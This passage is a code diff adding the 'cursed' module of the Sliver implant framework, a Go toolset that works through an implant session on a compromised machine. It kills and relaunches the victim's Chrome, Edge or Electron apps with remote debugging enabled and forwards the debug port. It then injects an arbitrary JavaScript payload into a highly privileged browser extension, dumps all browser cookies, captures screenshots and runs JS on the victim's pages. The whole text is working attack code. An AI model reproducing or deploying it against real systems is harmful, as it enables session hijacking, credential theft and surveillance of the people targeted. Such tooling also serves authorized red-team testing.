+					Request: con.ActiveTarget.Request(ctx),
+					Path:    chromeExecutablePath,
+				})
+				if err != nil {
+					return "", err
+				}
+				if ls.GetExists() {
+					return chromeExecutablePath, nil
+				}
+			}
+		}
+		return "", ErrChromeExecutableNotFound
+
+	case "darwin":
+		// AFAIK Chrome only installs to this path on macOS
+		defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
+		if isEdge {
+			defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
+		}
+		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Path:    defaultChromePath,
+		})
+		if err != nil {
+			return "", err
+		}
+		if ls.GetExists() {
+			return defaultChromePath, nil
+		}
+		return "", ErrChromeExecutableNotFound
+
+	case "linux":
+		chromeLinuxPaths := []string{
+			"/usr/bin/google-chrome",
+			"/usr/bin/chromium-browser",
+			"/usr/local/bin/google-chrome",
+			"/usr/local/bin/chromium-browser",
+		}
+		if isEdge {
+			chromeLinuxPaths = []string{
+				"/usr/bin/microsoft-edge",
+				"/usr/local/bin/microsoft-edge",
+			}
+		}
+		for _, chromePath := range chromeLinuxPaths {
+			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+				Request: con.ActiveTarget.Request(ctx),
+				Path:    chromePath,
+			})
+			if err != nil {
+				return "", err
+			}
+			if ls.GetExists() {
+				return chromePath, nil
+			}
+		}
+		return "", ErrChromeExecutableNotFound
+
+	default:
+		return "", ErrUnsupportedOS
+	}
+}
+
+func isChromeProcess(executable string) bool {
+	var chromeProcessNames = []string{
+		"chrome",           // Linux
+		"google-chrome",    // Linux
+		"chromium-browser", // Linux
+		"chrome.exe",       // Windows
+		"Google Chrome",    // Darwin
+	}
+	for _, suffix := range chromeProcessNames {
+		if strings.HasSuffix(executable, suffix) {
+			return true
+		}
+	}
+	return false
+}
+
+func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if isChromeProcess(process.GetExecutable()) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}

client/command/cursed/cursed-console.go

@@ -0,0 +1,183 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"io/ioutil"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
+	"github.com/desertbit/readline"
+)
+
+func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+	con.PrintInfof("Querying debug targets ... ")
+	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+	con.Printf(console.Clearln + "\r")
+	if err != nil {
+		con.PrintErrorf("Failed to query debug targets: %s\n", err)
+		return
+	}
+	target := selectDebugTarget(targets, con)
+	if target == nil {
+		return
+	}
+	con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
+	startCursedConsole(curse, true, target, con)
+}
+
+func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
+	if len(targets) < 1 {
+		con.PrintErrorf("No debug targets\n")
+		return nil
+	}
+
+	id2target := map[string]overlord.ChromeDebugTarget{}
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+	for _, target := range targets {
+		fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
+		id2target[target.ID] = target
+	}
+	table.Flush()
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a debug target:",
+		Options: options,
+	}
+	selected := ""
+	err := survey.AskOne(prompt, &selected)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if selected == "" {
+		return nil
+	}
+	selectedID := strings.Split(selected, " ")[0]
+	selectedTarget := id2target[selectedID]
+	return &selectedTarget
+}
+
+var (
+	helperHooks = []string{
+		"console.log = (...a) => {return a;}", // console.log
+	}
+)
+
+func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
+	tmpFile, _ := ioutil.TempFile("", "cursed")
+	reader, err := readline.NewEx(&readline.Config{
+		Prompt:      "\033[31mcursed »\033[0m ",
+		HistoryFile: tmpFile.Name(),
+		// AutoComplete:    nil,
+		InterruptPrompt:   "^C",
+		EOFPrompt:         "exit",
+		HistorySearchFold: true,
+		// FuncFilterInputRune: filterInput,
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to create read line: %s\n", err)
+		return
+	}
+
+	if helpers {
+		// Execute helper hooks
+		ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+		for _, hook := range helperHooks {
+			_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			}
+		}
+	}
+
+	con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
+	for {
+		line, err := reader.Readline()
+		if err == readline.ErrInterrupt {
+			if len(line) == 0 {
+				break
+			} else {
+				continue
+			}
+		} else if err == io.EOF {
+			break
+		}
+		switch strings.TrimSpace(line) {
+
+		case ":help":
+			con.Println()
+			con.Println("Available commands:")
+			con.Println("  :file - Execute local .js file")
+			con.Println("  :help - Show this help")
+			con.Println("  :exit - Exit the console")
+			con.Println()
+
+		case ":file":
+			jsCode, err := ioutil.ReadFile(line)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				continue
+			}
+			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				continue
+			}
+			con.Println()
+			if 0 < len(result) {
+				con.Printf("%s\n", result)
+				con.Println()
+			}
+
+		case ":exit":
+			fallthrough
+		case "exit":
+			return
+
+		default:
+			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			}
+			con.Println()
+			if 0 < len(result) {
+				con.Printf("%s\n", result)
+				con.Println()
+			}
+		}
+	}
+}

client/command/cursed/cursed-cookies.go

@@ -0,0 +1,69 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"io/ioutil"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
+)
+
+func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+
+	cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
+	if err != nil {
+		con.PrintErrorf("Failed to dump cookies: %s\n", err)
+		return
+	}
+
+	con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
+	if len(cookies) == 0 {
+		return
+	}
+	saveFile := ctx.Flags.String("save")
+	if saveFile == "" {
+		saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
+	}
+	jsonCookies := []string{}
+	for _, cookie := range cookies {
+		jsonCookie, err := cookie.MarshalJSON()
+		if err != nil {
+			con.PrintErrorf("Failed to marshal cookie: %s\n", err)
+			continue
+		}
+		jsonCookies = append(jsonCookies, string(jsonCookie))
+	}
+	err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
+	if err != nil {
+		con.PrintErrorf("Failed to save cookies: %s\n", err)
+		return
+	}
+	con.PrintInfof("Saved to %s", saveFile)
+	con.Println()
+}

client/command/cursed/cursed-edge.go

@@ -0,0 +1,170 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"io/ioutil"
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	payloadPath := ctx.Flags.String("payload")
+	var payload []byte
+	var err error
+	if payloadPath != "" {
+		payload, err = ioutil.ReadFile(payloadPath)
+		if err != nil {
+			con.PrintErrorf("Could not read payload file: %s\n", err)
+			return
+		}
+	}
+
+	curse := avadaKedavraEdge(session, ctx, con)
+	if curse == nil {
+		return
+	}
+	if payloadPath == "" {
+		con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
+		return
+	}
+
+	con.PrintInfof("Searching for Edge extension with all permissions ... ")
+	chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	// There is one alternative set of permissions that we can use if we don't find an extension
+	// with all the proper permissions.
+	if chromeExt == nil {
+		chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if chromeExt != nil {
+		con.Printf("success!\n")
+		con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
+		con.PrintInfof("Injecting payload ... ")
+		ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
+		// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
+		// defer cancel()
+		_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Printf("success!\n")
+	} else {
+		con.Printf("failure!\n")
+		con.PrintInfof("No viable Edge extensions were found ☹️\n")
+	}
+}
+
+func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+	edgeProcess, err := getEdgeProcess(session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if edgeProcess != nil {
+		con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
+		con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
+		con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+		con.Printf("\n")
+		confirm := false
+		err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return nil
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Pid:     edgeProcess.GetPid(),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return nil
+		}
+	}
+	curse, err := startCursedChromeProcess(true, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	return curse
+}
+
+func isEdgeProcess(executable string) bool {
+	var edgeProcessNames = []string{
+		"msedge",         // Linux
+		"microsoft-edge", // Linux
+		"msedge.exe",     // Windows
+		"Microsoft Edge", // Darwin
+	}
+	for _, suffix := range edgeProcessNames {
+		if strings.HasSuffix(executable, suffix) {
+			return true
+		}
+	}
+	return false
+}
+
+func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if isEdgeProcess(process.GetExecutable()) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}

client/command/cursed/cursed-electron.go

@@ -0,0 +1,233 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"log"
+	insecureRand "math/rand"
+	"path"
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/bishopfox/sliver/client/tcpproxy"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	electronExe := ctx.Flags.String("exe")
+	if electronExe == "" {
+		con.PrintErrorf("Missing --exe flag, see --help\n")
+		return
+	}
+
+	curse := avadaKedavraElectron(electronExe, session, ctx, con)
+	if curse == nil {
+		return
+	}
+	con.PrintInfof("Checking for debug targets ...")
+	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+	con.Printf(console.Clearln + "\r")
+	if err != nil {
+		con.PrintErrorf("Failed to query debug targets: %s\n", err)
+		return
+	}
+	if len(targets) == 0 {
+		con.PrintErrorf("Zero debug targets found\n")
+		return
+	}
+	con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
+}
+
+func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+	exists, err := checkElectronPath(electronExe, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return nil
+	}
+	if !exists {
+		con.PrintErrorf("Executable path does not exist: %s", electronExe)
+		return nil
+	}
+	electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if electronProcess != nil {
+		con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
+		con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
+		con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+		con.Printf("\n")
+		confirm := false
+		err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return nil
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Pid:     electronProcess.Pid,
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return nil
+		}
+	}
+	curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	return curse
+}
+
+func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
+	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    electronExe,
+	})
+	if err != nil {
+		return false, err
+	}
+	return ls.GetExists(), nil
+}
+
+func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}
+
+func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
+	con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
+	debugPort := getRemoteDebuggerPort(ctx)
+	args := []string{
+		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
+	}
+	additionalArgs := ctx.Args.StringList("args")
+	if len(additionalArgs) > 0 {
+		args = append(args, additionalArgs...)
+	}
+
+	// Execute the Chrome process with the extra flags
+	// TODO: PPID spoofing, etc.
+	electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    electronExe,
+		Args:    args,
+		Output:  false,
+	})
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("(pid: %d) success!\n", electronExec.GetPid())
+
+	con.PrintInfof("Waiting for process to initialize ... ")
+	time.Sleep(2 * time.Second)
+
+	bindPort := insecureRand.Intn(10000) + 40000
+	bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
+
+	remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+
+	tcpProxy := &tcpproxy.Proxy{}
+	channelProxy := &core.ChannelProxy{
+		Rpc:             con.Rpc,
+		Session:         session,
+		RemoteAddr:      remoteAddr,
+		BindAddr:        bindAddr,
+		KeepAlivePeriod: 60 * time.Second,
+		DialTimeout:     30 * time.Second,
+	}
+	tcpProxy.AddRoute(bindAddr, channelProxy)
+	portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
+
+	curse := &core.CursedProcess{
+		SessionID:   session.ID,
+		PID:         electronExec.GetPid(),
+		PortFwd:     portFwd,
+		BindTCPPort: bindPort,
+		Platform:    session.GetOS(),
+		ExePath:     electronExe,
+	}
+	core.CursedProcesses.Store(bindPort, curse)
+	go func() {
+		err := tcpProxy.Run()
+		if err != nil {
+			log.Printf("Proxy error %s", err)
+		}
+		core.CursedProcesses.Delete(bindPort)
+	}()
+
+	con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
+
+	return curse, nil
+}
+
+func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if isChromeProcess(process.GetExecutable()) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}

client/command/cursed/cursed-rm.go

@@ -0,0 +1,75 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	kill := ctx.Flags.Bool("kill")
+	bindPort := ctx.Args.Int("bind-port")
+	core.CloseCursedProcessesByBindPort(session.ID, bindPort)
+	if kill {
+		confirm := false
+		err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s", err)
+			return
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return
+		}
+		// Get cursed process
+		var cursedProc *core.CursedProcess
+		curses := core.CursedProcessBySessionID(session.ID)
+		for _, curse := range curses {
+			if curse.BindTCPPort == bindPort {
+				cursedProc = curse
+			}
+		}
+		if cursedProc == nil {
+			con.PrintErrorf("Failed to find cursed process\n")
+			return
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Pid:     int32(cursedProc.PID),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return
+		}
+	}
+}

client/command/cursed/cursed-screenshot.go

@@ -0,0 +1,69 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"io/ioutil"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
+)
+
+func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+	con.PrintInfof("Querying debug targets ... ")
+	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+	con.Printf(console.Clearln + "\r")
+	if err != nil {
+		con.PrintErrorf("Failed to query debug targets: %s\n", err)
+		return
+	}
+	target := selectDebugTarget(targets, con)
+	if target == nil {
+		return
+	}
+	con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
+	quality := ctx.Flags.Int64("quality")
+	if quality < 1 || quality > 100 {
+		con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
+		return
+	}
+	data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
+	if err != nil {
+		con.PrintErrorf("Failed to take screenshot: %s\n", err)
+		return
+	}
+	saveFile := ctx.Flags.String("save")
+	if saveFile == "" {
+		saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
+	}
+	err = ioutil.WriteFile(saveFile, data, 0644)
+	if err != nil {
+		con.PrintErrorf("Failed to save screenshot: %s\n", err)
+		return
+	}
+	con.PrintInfof("Screenshot saved to %s\n", saveFile)
+}

client/command/cursed/cursed.go

@@ -0,0 +1,121 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	insecureRand "math/rand"
+	"strconv"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	// Collect existing curses from core
+	cursedProcesses := [][]string{}
+	core.CursedProcesses.Range(func(key, value interface{}) bool {
+		curse := value.(*core.CursedProcess)
+		cursedProcesses = append(cursedProcesses, []string{
+			fmt.Sprintf("%d", curse.BindTCPPort),
+			strings.Split(curse.SessionID, "-")[0],
+			fmt.Sprintf("%d", curse.PID),
+			curse.Platform,
+			curse.ExePath,
+			curse.DebugURL().String(),
+		})
+		return true
+	})
+	// Display table if we have 1 or more curses
+	if 0 < len(cursedProcesses) {
+		tw := table.NewWriter()
+		tw.SetStyle(settings.GetTableStyle(con))
+		tw.AppendHeader(table.Row{
+			"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
+		})
+		for _, rowEntries := range cursedProcesses {
+			row := table.Row{}
+			for _, entry := range rowEntries {
+				row = append(row, entry)
+			}
+			tw.AppendRow(table.Row(row))
+		}
+		con.Printf("%s\n", tw.Render())
+	} else {
+		con.PrintInfof("No cursed processes\n")
+	}
+}
+
+// selectCursedProcess - Interactively select a cursed process from a list
+func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
+	cursedProcesses := []*core.CursedProcess{}
+	core.CursedProcesses.Range(func(key, value interface{}) bool {
+		cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
+		return true
+	})
+	if len(cursedProcesses) < 1 {
+		con.PrintErrorf("No cursed processes\n")
+		return nil
+	}
+
+	port2process := map[int]*core.CursedProcess{}
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+	for _, cursedProcess := range cursedProcesses {
+		fmt.Fprintf(table, "%d\t%s\t%s\n",
+			cursedProcess.BindTCPPort,
+			fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
+			cursedProcess.ExePath)
+		port2process[cursedProcess.BindTCPPort] = cursedProcess
+	}
+	table.Flush()
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a curse:",
+		Options: options,
+	}
+	selected := ""
+	err := survey.AskOne(prompt, &selected)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if selected == "" {
+		return nil
+	}
+	selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
+	return port2process[selectedPortNumber]
+}
+
